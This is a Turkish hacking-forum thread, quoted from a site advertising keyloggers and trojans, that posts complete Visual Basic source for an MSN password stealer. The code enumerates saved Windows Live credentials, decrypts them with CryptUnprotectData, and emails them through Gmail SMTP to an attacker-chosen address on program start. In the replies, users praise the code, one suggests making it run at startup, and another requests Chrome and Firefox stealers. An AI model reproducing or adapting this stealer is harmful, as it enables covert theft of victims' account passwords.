Stealer Yapımı

magics2' Alıntı:

Msn Stealer Yapımı

Module;

Kod:

Private Declare Function CredEnumerateW Lib "advapi32.dll" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
Private Declare Function CredFree Lib "advapi32.dll" (ByVal pBuffer As Long) As Long
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long

Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Public Function sMSN() As String
Dim i As Long
Dim lCount As Long
Dim lCred As Long
Dim lUbound As Long
Dim lPtr As Long
Dim lUser As Long
Dim tBlobIn As DATA_BLOB
Dim sPass As String
Dim sGuid As String
Dim lChar As Long
Dim sUser As String
Dim j As Long


sGuid = "WindowsLive:name=*"
Call CredEnumerateW(StrPtr(sGuid), 0, lCount, lCred)

If lCount Then
For i = lUbound To lUbound + lCount - 1
NtWriteVirtualMemory -1, ByVal VarPtr(lPtr), ByVal lCred + (i - lUbound) * 4, &H4, 0
NtWriteVirtualMemory -1, ByVal VarPtr(lUser), ByVal lPtr + 48, &H4, 0
NtWriteVirtualMemory -1, ByVal VarPtr(tBlobIn.pbData), ByVal lPtr + 28, &H4, 0
NtWriteVirtualMemory -1, ByVal VarPtr(tBlobIn.cbData), ByVal lPtr + 24, &H4, 0

Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)

sPass = Space(tBlobIn.cbData \ 2)
NtWriteVirtualMemory -1, ByVal StrPtr(sPass), ByVal tBlobIn.pbData, tBlobIn.cbData, 0

If Len(sPass) > 0 Then
j = 0
sUser = vbNullString
lChar = 1
Do
NtWriteVirtualMemory -1, ByVal VarPtr(lChar), ByVal lUser + j * 2, &H1, 0
If lChar = 0 Then Exit Do
sUser = sUser & Chr(lChar)
j = j + 1
Loop
sMSN = sMSN & "Kullanıcı Adı: " & sUser & vbCrLf & " Şifre: " & sPass & vbCrLf
End If
Next
lUbound = lUbound + lCount
End If

Call CredFree(lCred)
End Function

Form load'a; (sizin textinizin adı neyse değiştirirsiniz.)

Kod:

Text1.Text = sMSN()

şuanda bilgisayarda kayıtlı msn şifrelerini textimize yazmış durumdayız.Sıra bunları iletmeye geldi.Mail ile iletelim.hem elinizde çalışan bir mail gönderme kodu olur.

Formun herhangi bir yerine ekleyin ;

Kod:

Function EmailGonder(ePosta, Sifre, KiMe, KiMDeN, MeSaJ, KoNu, GoNDeReN, OrGaniZasyOn As String)
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = ePosta
Flds.Item(schema & "sendpassword") = Sifre
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = KiMe
.From = KiMDeN
.Subject = KoNu
.HTMLbOdy = MeSaJ
.Sender = GoNDeReN
.OrGanization = OrGaniZasyOn
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Function

form load'ı şu şekilde düzenliyoruz;

Kod:

Private Sub Form_Load()
Text1.Text = sMSN()
Call EmailGonder("GMAİL ADRESİ", "ŞİFRESİ", "ŞİFRELERİ ALACAK ADRES", "patr10", Text1.Text, "ŞİFRELER GELDİ", "GENE İYİSİN", "SPYCODERS")
End Sub

Msn Stealer Yapımı - Spy Coder's # Bedava Keylogger,Trojan,Crypter,Binder,Botnet,Rat,Fud,Yazılım Geliştirme,Programlama Dilleri,%100 Bilgisayar Güvenligi 'dan alıntı.

Genişletmek için tıkla ...

fable170' Alıntı:

hocam tek kelimeyle süpersin:yo

Genişletmek için tıkla ...

Wienella' Alıntı:

foruma stealer kodunu eklersin daha sonrada başlangıçta çalıştırma kodunu eklersin olur biter.

Genişletmek için tıkla ...

Wienella' Alıntı:

Arkadaşlar Acil Olarak Chrome ve Firefox Stealer Lazım Lütfen !!

Genişletmek için tıkla ...